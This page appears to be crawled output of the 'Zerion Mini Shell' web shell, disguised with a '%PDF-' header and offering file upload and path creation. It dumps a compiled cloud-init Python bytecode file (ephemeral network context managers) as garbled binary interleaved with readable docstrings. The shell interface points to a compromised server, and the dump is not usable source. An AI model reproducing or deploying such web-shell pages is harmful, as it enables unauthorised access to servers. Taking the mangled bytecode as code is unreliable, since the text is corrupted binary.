%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core18/2887/usr/lib/python3/dist-packages/cloudinit/net/__pycache__/
Upload File :
Create Path :
Current File : //snap/core18/2887/usr/lib/python3/dist-packages/cloudinit/net/__pycache__/ephemeral.cpython-36.pyc

3

�Ad�9�@s�dZddlZddlZddlmZmZmZmZddlj	Z	ddl
mZddlm
Z
mZmZeje�ZGdd�d�ZGdd	�d	�ZGd
d�d�ZGdd
�d
�ZdS)z.Module for ephemeral network context managers
�N)�Any�Dict�List�Optional)�subp)�NoDHCPLeaseError�maybe_perform_dhcp_discovery�parse_static_routesc@s\eZdZdZdeeeefd�dd�Zdd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
dd�ZdS)�EphemeralIPv4Networka�Context manager which sets up temporary static network configuration.

    No operations are performed if the provided interface already has the
    specified configuration.
    This can be verified with the connectivity_url_data.
    If unconnected, bring up the interface with valid ip, prefix and broadcast.
    If router is provided setup a default route for that interface. Upon
    context exit, clean up the interface leaving no configuration behind.
    N)�connectivity_url_datac	Cs�t||||g�s$tdj||||���ytj|�|_Wn2tk
rf}ztdj|��|�WYdd}~XnX||_||_||_||_	||_
||_g|_dS)aXSetup context manager and validate call signature.

        @param interface: Name of the network interface to bring up.
        @param ip: IP address to assign to the interface.
        @param prefix_or_mask: Either netmask of the format X.X.X.X or an int
            prefix.
        @param broadcast: Broadcast address for the IPv4 network.
        @param router: Optionally the default gateway IP.
        @param connectivity_url_data: Optionally, a URL to verify if a usable
           connection already exists.
        @param static_routes: Optionally a list of static routes from DHCP
        z5Cannot init network on {0} with {1}/{2} and bcast {3}z4Cannot setup network, invalid prefix or netmask: {0}N)
�all�
ValueError�format�netZipv4_mask_to_net_prefix�prefixr�	interface�ip�	broadcast�router�
static_routes�cleanup_cmds)	�selfrr�prefix_or_maskrrrr�e�r�9/usr/lib/python3/dist-packages/cloudinit/net/ephemeral.py�__init__s$zEphemeralIPv4Network.__init__cCsR|jr(tj|j�r(tjd|jd�dS|j�|jr@|j�n|jrN|j	�dS)z>Perform ephemeral network setup if interface is not connected.z=Skip ephemeral network setup, instance has connectivity to %sZurlN)
rr�has_url_connectivity�LOG�debug�_bringup_devicer�_bringup_static_routesr�_bringup_router)rrrr�	__enter__Ls

zEphemeralIPv4Network.__enter__cCs"x|jD]}tj|dd�qWdS)zTeardown anything we set up.T)�captureN)rr)r�	excp_type�
excp_value�excp_traceback�cmdrrr�__exit__iszEphemeralIPv4Network.__exit__c	Cs,tjdddddd||fd|jgdd	�d
S)z7Perform the ip command to remove the specified address.rz-family�inet�addr�delz%s/%s�devT)r$N)rr)rZaddressrrrr�_delete_addressns
z$EphemeralIPv4Network._delete_addresscCs�dj|j|j�}tjd|j||j�y0tjddddd|d|jd	|jg
d
ddid
�WnFtjk
r�}z(dt	|j
�krx�tjd|j|j�WYdd}~Xn^Xtjdddddd	|jdgd
d�|jjdddddd	|jdg�|jjddddd|d	|jg�dS)z1Perform the ip comands to fully setup the device.z{0}/{1}z:Attempting setup of ephemeral network on %s with %s brd %srz-familyr*r+�addrr-TZLANG�C)r$Z
update_envzFile existsz7Skip ephemeral network setup, %s already has address %sN�link�set�up)r$Zdownr,)
rrrrrrrrZProcessExecutionError�str�stderrr�append)rZcidrrrrrr ~snz$EphemeralIPv4Network._bringup_devicecCsxxr|jD]h\}}g}|dkr$d|g}tjdddd|g|d|jgdd	�|jjd
dddd|g|d|jg�qWdS)Nz0.0.0.0�viarz-4�router6r-T)r$rr,)rrrr�insert)rZnet_addressZgatewayZvia_argrrrr!�sz+EphemeralIPv4Network._bringup_static_routescCs�tjddddgdd�\}}d|kr:tjd|j|j��d	Stjdd
dd|jd|jd
|jg	dd�|jjddd
dd|jd|jd
|jg	�tjdd
dddd|jd|jg	dd�|jjddd
dddd|jg�d	S)z<Perform the ip commands to fully setup the router if needed.rr8Zshowz	0.0.0.0/0T)r$�defaultz<Skip ephemeral route setup. %s already has default route: %sNz-4r/r-�srcrr,r7)	rrrr�striprrrr9)r�out�_rrrr"�sT

z$EphemeralIPv4Network._bringup_router)NNN)�__name__�
__module__�__qualname__�__doc__rrr4rrr#r)r.r r!r"rrrrr
s	%Jr
c@s(eZdZdZdd�Zdd�Zdd�ZdS)	�EphemeralIPv6Networkz�Context manager which sets up a ipv6 link local address

    The linux kernel assigns link local addresses on link-up, which is
    sufficient for link-local communication.
    cCs|stdj|���||_dS)z�Setup context manager and validate call signature.

        @param interface: Name of the network interface to bring up.
        @param ip: IP address to assign to the interface.
        @param prefix: IPv6 uses prefixes, not netmasks
        zCannot init network on {0}N)r
rr)rrrrrrszEphemeralIPv6Network.__init__cCs2tj|jd�dkr.tjdddd|jdgdd�d	S)
z�linux kernel does autoconfiguration even when autoconf=0

        https://www.kernel.org/doc/html/latest/networking/ipv6.html
        Z	operstater3rr1r2r-F)r$N)rZread_sys_netrr)rrrrr#)szEphemeralIPv6Network.__enter__cGsdS)z%No need to set the link to down stateNr)r�_argsrrrr)4szEphemeralIPv6Network.__exit__N)r?r@rArBrr#r)rrrrrCsrCc@sXeZdZdeeeefd�dd�Zdd�Zdd�Z	d	d
�Z
dd�Zd
d�Zdd�Z
dS)�EphemeralDHCPv4N)rcCs(||_d|_d|_||_||_||_dS)N)�iface�_ephipv4�lease�
dhcp_log_funcr�tmp_dir)rrFrrIrJrrrr9szEphemeralDHCPv4.__init__cCs,|jr$tj|j�r$tjd|j�dS|j�S)zUSetup sandboxed dhcp context, unless connectivity_url can already be
        reached.z:Skip ephemeral DHCP setup, instance has connectivity to %sN)rrrrr�obtain_lease)rrrrr#GszEphemeralDHCPv4.__enter__cCs|j�dS)z Teardown sandboxed dhcp context.N)�
clean_network)rr%r&r'rrrr)TszEphemeralDHCPv4.__exit__cCs*|jrd|_|jsdS|jjddd�dS)z@Exit _ephipv4 context to teardown of ip configuration performed.N)rHrGr))rrrrrLXs
zEphemeralDHCPv4.clean_networkcCs�|jr|jSt|j|j|j�}|s(t��|d|_tjd|jd|jd|jd�ddddddgd	d
�}|j|�}|ds�t	j
|d|d
�|d<|dr�t|d�|d<|jr�|j|d<t
f|�}|j�||_|jS)a9Perform dhcp discovery in a sandboxed environment if possible.

        @return: A dict representing dhcp options on the most recent lease
            obtained from the dhclient discovery if run, otherwise an error
            is raised.

        @raises: NoDHCPLeaseError if no leases could be obtained.
        �z#Received dhcp lease on %s for %s/%srz
fixed-addresszsubnet-maskzbroadcast-addresszrfc3442-classless-static-routeszclassless-static-routesZrouters)rrrrrrrrrrr���)rHrrFrIrJrrr�extract_dhcp_options_mappingrZmask_and_ipv4_to_bcast_addrr	rr
r#rG)rZleases�nmap�kwargsZephipv4rrrrK`s@	



zEphemeralDHCPv4.obtain_leasecCsHi}x>|j�D]2\}}t|t�r0|j|||�q|jj|�||<qW|S)N)�items�
isinstance�list�get_first_option_valuerH�get)rrP�resultZinternal_reference�lease_option_namesrrrrO�s
z,EphemeralDHCPv4.extract_dhcp_options_mappingcCs,x&|D]}|j|�s|jj|�||<qWdS)N)rVrH)rZinternal_mappingrXrWZdifferent_namesrrrrU�s

z&EphemeralDHCPv4.get_first_option_value)NNNN)r?r@rArrr4rrr#r)rLrKrOrUrrrrrE8s	
2rEc@s2eZdZdZdeed�dd�Zdd	�Zd
d�ZdS)
�EphemeralIPNetworkz9Marries together IPv4 and IPv6 ephemeral context managersFTN)�ipv6�ipv4cCs,||_||_||_tj�|_d|_||_dS)N�)rr[rZ�
contextlib�	ExitStack�stack�	state_msgrJ)rrrZr[rJrrrr�s
zEphemeralIPNetwork.__init__cCsty:|jr |jjt|j|jd��|jr8|jjt|j��Wn4tk
rn}z|jrZd|_	n|�WYdd}~XnX|S)N)rJzusing link-local ipv6)
r[r_�
enter_contextrErrJrZrCrr`)rrrrrr#�szEphemeralIPNetwork.__enter__cGs|jj�dS)N)r_�close)rrDrrrr)�szEphemeralIPNetwork.__exit__)FTN)r?r@rArB�boolrr#r)rrrrrY�s	rY)rBr]ZloggingZtypingrrrrZ
cloudinit.netrZ	cloudinitrZcloudinit.net.dhcprrr	Z	getLoggerr?rr
rCrErYrrrr�<module>s

"m

Zerion Mini Shell 1.0